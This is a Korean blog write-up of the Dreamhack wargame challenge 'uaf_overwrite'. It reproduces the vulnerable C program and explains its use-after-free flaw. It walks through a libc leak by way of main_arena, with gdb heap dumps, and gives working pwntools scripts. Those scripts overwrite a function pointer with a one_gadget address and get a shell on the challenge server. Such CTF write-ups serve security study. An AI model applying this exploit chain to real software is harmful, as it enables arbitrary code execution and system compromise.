// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
void print_name() { printf("Name: %s\n", robot->name); }
void menu() {
printf("1. Human\n");
printf("2. Robot\n");
printf("3. Custom\n");
printf("> ");
}
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
int main() {
int idx;
char *ptr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
menu();
scanf("%d", &idx);
switch (idx) {
case 1:
human_func();
break;
case 2:
robot_func();
break;
case 3:
custom_func();
break;
}
}
}
가장 어려운 heap 문제이다.
코드를 분석해보면,
main 함수에서 1,2,3의 정수를 입력받아 각각 human_func, robot_func, custom_func 함수를 실행시킨다.
각 함수는 아래와 같은 동작을 한다.
human_func : name, weight, age 변수로 구성된 구조체를 heap 영역에 동적 할당하고, name 변수에는 Human 문자열을, weight 및 age변수에는 입력받은 값을 넣고 해당 동적 할당을 해제한다.
robot_func : name, weight, fptr 포인터 함수로 구성된 구조체를 heap 영역에 동적할당하고, name 변수에는 Robot 문자열을, weight 변수에는 입력받은 값을 넣고, fptr 포인터 함수에 값이 있으면 해당 함수를 실행하고 없으면 name을 출력하는 print_name 함수를 실행한 뒤 해당 동적 할당을 해제한다.
custom_func : c_idx 변수의 값을 확인해서 9보다 크면 함수를 종료하며, 작으면 값을 입력받아 size에 넣고, 입력받은 값이 100보다 크면 입력받은 크기만큼 동적 할당 후 할당된 주소를 custom[c_idx]에 넣고, data를 입력받은 후 그 data를 출력하고, 다시 idx 값을 입력받아 그 값을 custom[idx]로 사용하며 동적 할당을 해제한다.
취약점은 우선 human 구조체와 robot 구조체의 그 구조와 크기가 동일하기에 human 구조체 free 후 robot 구조체가 동일한 heap 영역에 할당되면, human->age의 값을 robot->*fptr의 값으로 쓸 수 있게 되므로 임의의 함수를 실행시킬 수 있게 된다.
다만, 보호기법이 모두 걸려있기에 stack이나 heap 영역에서 shellcode 실행이 불가능하며, rtl 기법이 유효할 것으로 생각되며, rtl을 위해서는 memory leak이 필요한데, custom_func에서 이를 출력해줄 수 있다.
이에 공격 흐름은 custom_func를 통해 memory leak, human_func를 통해 age 변수에 shell을 실행시켜줄 수 있는 rtl 삽입, robot_func 함수 실행이 될 것이다.
문제는 leak 된 메모리 주소가 libc의 어느 한 부분이어야 offset 계산 및 rtl이 가능한데, 여기서 heap의 특징을 이해해야 한다.
아래의 링크를 참조하자.
heap tcache & main_arena
tcache(thread local cache) heap 관리를 빠르게 하기 위해 glibc 2.26 이상부터 적용되는 기술. fast bin과 유사하지만 다른 성격을 가짐. tcache는 heap 영역에 존재함. 32 bit 에서는 516 byte 이하의 사이즈,..
wyv3rn.tistory.com
본 문제는 64bit 환경의 문제이니 1032 byte를 초과하는 크기 (1033 byte 이상)가 할당되어야 tcache 영역이 아닌 main_arena에서 heap을 관리할 것이며, 이를 leak 하여 offset을 구하면 될 것으로 예상된다.
더불어 top chunk, 즉 가장 높은 주소에 있는 heap 영역이 free 될 시 자동으로 남은 heap 영역과 병합되기에 두 번의 heap 할당 후 첫 번째 heap 영역을 free해야 fd를 가진다.
그러므로, 본 코드 상 custom_func를 통해 아래와 같이 실행하면
- 프로그램 실행
- 3번 custom_func 실행
- 256 byte 할당
- 임의의 값 입력
- free 미 수행 (첫 번째 실행이기에 custom[0]에 heap address를 가지고 있으며, 이외의 값 입력)
- 3번 custom_func 실행
- 1033 byte 할당.
- 임의의 값 입력
- free 미 수행 (첫번째 실행이기에 custom[0], [1]에 heap address를 가지고 있으며, 이외의 값 입력)
- 3번 custom_func 실행
- 256 byte 할당
- 임의의 값 입력
- custom[1] free
heap 영역의 모양은 아래와 같고, 두 번째 heap에 main_arena의 주소가 할당된 것을 볼 수 있다.
gef➤ x/30gx 0x005555556032a0-16
0x555555603290: 0x0000000000000000 0x0000000000000111
0x5555556032a0: 0x0000000a61616161 0x0000000000000000
...
0x555555603390: 0x0000000000000000 0x0000000000000000
0x5555556033a0: 0x0000000000000000 0x0000000000000421
0x5555556033b0: 0x00007ffff7fa5c00 0x00007ffff7fa5c00
0x5555556033c0: 0x0000000000000000 0x0000000000000000
...
0x5555556037b0: 0x0000000000000000 0x0000000000000000
0x5555556037c0: 0x0000000000000420 0x0000000000000110
0x5555556037d0: 0x0000000a63636363 0x0000000000000000
...
0x5555556038c0: 0x0000000000000000 0x0000000000000000
0x5555556038d0: 0x0000000000000000 0x0000000000020731
이후 다시 heap 영역에 영역을 확보하려 하면 custom[1]의 영역을 사용할 테고, 7 byte를 입력하면 이후 address가 함께 출력될 것이다.
이를 확인해보면 아래와 같다.
gef➤ c
Continuing.
3
Size: 256
Data: aaaaaaa
Data: aaaaaaa
�_���
Free idx:
우선 해당 주소를 얻는 파이썬 코드만 작성해서 주소를 얻어보면 아래와 같다.
from pwn import *
#p = remote('',)
#libc = ELF('./libc-2.27.so')
p = process ('./uaf_overwrite')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#first heap & non free
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b': ',b'256')
p.sendlineafter(b': ',b'A')
p.sendlineafter(b': ',b'9')
#second heap & non free
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b': ',b'1033')
p.sendlineafter(b': ',b'A')
p.sendlineafter(b': ',b'9')
#third heap & free second heap
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b': ',b'256')
p.sendlineafter(b': ',b'A')
p.sendlineafter(b': ',b'1')
#fourth heap & leak chunk_main_arena+xx address
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b': ',b'256')
p.sendlineafter(b': ',b'AAAAAAA')
p.recvline()
main_arena_add = b'' + p.recvline()[:-1] + b'\x00\x00'
print(hex(u64(main_arena_add)))
gdb.attach(p)
pause()
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Starting local process './uaf_overwrite': pid 78491
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x7f13c2f3bff0
[*] running in new terminal: ['/usr/bin/gdb', '-q', './uaf_overwrite', '78491']
[+] Waiting for debugger: Done
[*] Paused (press any to continue)
...
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0055b0f8c00000 0x0055b0f8c02000 0x00000000000000 r-x /home/kali/Downloads/uaf_overwrite
0x0055b0f8e01000 0x0055b0f8e02000 0x00000000001000 r-- /home/kali/Downloads/uaf_overwrite
0x0055b0f8e02000 0x0055b0f8e03000 0x00000000002000 rw- /home/kali/Downloads/uaf_overwrite
0x0055b0f95e9000 0x0055b0f960a000 0x00000000000000 rw- [heap]
0x007f13c2d6b000 0x007f13c2d6d000 0x00000000000000 rw-
0x007f13c2d6d000 0x007f13c2d93000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.33.so
0x007f13c2d93000 0x007f13c2eeb000 0x00000000026000 r-x /usr/lib/x86_64-linux-gnu/libc-2.33.so
0x007f13c2eeb000 0x007f13c2f37000 0x0000000017e000 r-- /usr/lib/x86_64-linux-gnu/libc-2.33.so
0x007f13c2f37000 0x007f13c2f38000 0x000000001ca000 --- /usr/lib/x86_64-linux-gnu/libc-2.33.so
0x007f13c2f38000 0x007f13c2f3b000 0x000000001ca000 r-- /usr/lib/x86_64-linux-gnu/libc-2.33.so
0x007f13c2f3b000 0x007f13c2f3e000 0x000000001cd000 rw- /usr/lib/x86_64-linux-gnu/libc-2.33.so
0x007f13c2f3e000 0x007f13c2f49000 0x00000000000000 rw-
0x007f13c2f5c000 0x007f13c2f5d000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.33.so
0x007f13c2f5d000 0x007f13c2f81000 0x00000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.33.so
0x007f13c2f81000 0x007f13c2f8b000 0x00000000025000 r-- /usr/lib/x86_64-linux-gnu/ld-2.33.so
0x007f13c2f8b000 0x007f13c2f8d000 0x0000000002e000 r-- /usr/lib/x86_64-linux-gnu/ld-2.33.so
0x007f13c2f8d000 0x007f13c2f8f000 0x00000000030000 rw- /usr/lib/x86_64-linux-gnu/ld-2.33.so
0x007fffe5493000 0x007fffe54b4000 0x00000000000000 rw- [stack]
0x007fffe55a8000 0x007fffe55ac000 0x00000000000000 r-- [vvar]
0x007fffe55ac000 0x007fffe55ae000 0x00000000000000 r-x [vdso]
gef➤ p 0x7f13c2f3bff0 - 0x007f13c2d6d000
$1 = 0x1ceff0
gef➤ x/i 0x7f13c2f3bff0
0x7f13c2f3bff0 <main_arena+1104>: loopne 0x7f13c2f3bfb1 <main_arena+1041>
gef➤ p 0x7f13c2f3bff0 - 1104 - 0x007f13c2d6d000
$2 = 0x1ceba0
오프셋까지 확인했다.
이제 셀을 실행시켜줄 onegadget을 찾아보자.
(pop rdi ; ret + /bin/sh 문자열 주소 + system()를 통해 셀을 실행시켜도 될 것 같지만, human_funk 함수 내에서 %ld로 age 값을 받아들이기에 저만한 정수를 넣기에는 값이 너무 커서 불가능할 것으로 보인다.)
┌──(kali㉿kali)-[~/Downloads]
└─$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xcb5ca execve("/bin/sh", r12, r13)
constraints:
[r12] == NULL || r12 == NULL
[r13] == NULL || r13 == NULL
0xcb5cd execve("/bin/sh", r12, rdx)
constraints:
[r12] == NULL || r12 == NULL
[rdx] == NULL || rdx == NULL
0xcb5d0 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
이제 이를 기준으로 코드를 작성해보자.
from pwn import *
#p = remote('',)
#libc = ELF('./libc-2.27.so')
p = process ('./uaf_overwrite')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#first heap & non free
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b': ',b'256')
p.sendlineafter(b': ',b'A')
p.sendlineafter(b': ',b'9')
#second heap & non free
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b': ',b'1033')
p.sendlineafter(b': ',b'A')
p.sendlineafter(b': ',b'9')
#third heap & free second heap
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b': ',b'256')
p.sendlineafter(b': ',b'A')
p.sendlineafter(b': ',b'1')
#fourth heap & leak chunk_main_arena+xx address
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b': ',b'256')
p.sendlineafter(b': ',b'AAAAAAA')
p.recvline()
main_arena_add = b'' + p.recvline()[:-1] + b'\x00\x00'
p.sendlineafter(b': ',b'9')
base = u64(main_arena_add) - 0x1ceff0
onegadget = [0xcb5ca, 0xcb5cd, 0xcb5d0]
pay = base + onegadget[2]
print('main = ',hex(u64(main_arena_add)))
print('base = ',hex(base))
print('pay = ',hex(pay))
#insert payload to human
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b': ',b'1')
p.sendlineafter(b': ',str(pay))
#excute robot_func
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b': ',b'1')
p.interactive()
로컬 환경에서는 3개의 onegadget 주소를 다 사용해봐도 레지스터에 값들이 들어있어 모두 실패한다.
offset과 onegadget 주소를 문제의 libc 파일로 대체하여 서버에 바로 실행해보자.
┌──(kali㉿kali)-[~/Downloads]
└─$ one_gadget ./libc-2.27.so
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
문제는 offset인데... main_arena와 libc base address의 offset을 구하기가 힘들다.
이는 아래 공식으로 구할 수 있다.
main_arena base address = __malloc_hook + 0x10
즉, malloc_hook과 붙어있다.
malloc_hook 주소를 확인해보면 아래와 같기에
┌──(kali㉿kali)-[~/Downloads]
└─$ objdump -d ./libc-2.27.so | grep 3ebc40
objdump: Warning: Separate debug info file libc-2.27.so found, but CRC does not match - ignoring
objdump: Warning: Separate debug info file /home/kali/Downloads/libc-2.27.so found, but CRC does not match - ignoring
908f7: 48 8d 05 42 b3 35 00 lea 0x35b342(%rip),%rax # 3ebc40 <__malloc_hook@@GLIBC_2.2.5+0x10>
offset은 0x3ebc30 + 0x10 즉 0x3ebc40이 된다.
그리고 앞에서 확인하였듯이 leak 된 주소는 main_arena + 1104 값이므로 페이로드는 아래와 같아진다.
from pwn import *
p = remote('host3.dreamhack.games',16620)
libc = ELF('./libc-2.27.so')
#p = process ('./uaf_overwrite')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#first heap & non free
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b': ',b'256')
p.sendlineafter(b': ',b'A')
p.sendlineafter(b': ',b'9')
#second heap & non free
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b': ',b'1033')
p.sendlineafter(b': ',b'A')
p.sendlineafter(b': ',b'9')
#third heap & free second heap
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b': ',b'256')
p.sendlineafter(b': ',b'A')
p.sendlineafter(b': ',b'1')
#fourth heap & leak chunk_main_arena+xx address
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b': ',b'256')
p.sendlineafter(b': ',b'AAAAAAA')
p.recvline()
main_arena_add = b'' + p.recvline()[:-1] + b'\x00\x00'
p.sendlineafter(b': ',b'9')
base = u64(main_arena_add) - 0x3ebc40 - 0x450
onegadget = [0x4f3d5, 0x4f432, 0x10a41c]
pay = base + onegadget[2]
print('main_arena =',hex(u64(main_arena_add)))
print('base = ',hex(base))
print('pay = ',hex(pay))
#insert payload to human
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b': ',b'1')
p.sendlineafter(b': ',str(pay))
#gdb.attach(p)
#excute robot_func
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b': ',b'1')
p.interactive()
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 16620: Done
[*] '/home/kali/Downloads/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
main_arena = 0x7f3ac74b7090
base = 0x7f3ac70cb000
pay = 0x7f3ac71d541c
/home/kali/Downloads/a.py:47: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b': ',str(pay))
[*] Switching to interactive mode
$ id
uid=1000(uaf_overwrite) gid=1000(uaf_overwrite) groups=1000(uaf_overwrite)
$ cat flag
DH{----------#플래그는 삭제}
'Wargame > Dreamhack' 카테고리의 다른 글
tcache_dup (0) | 2022.08.03 |
---|---|
Tcache Poisoning (0) | 2022.08.02 |
basic_exploitation_003 (0) | 2022.08.01 |
basic_exploitation_002 (0) | 2022.07.30 |
out_of_bound (0) | 2022.07.30 |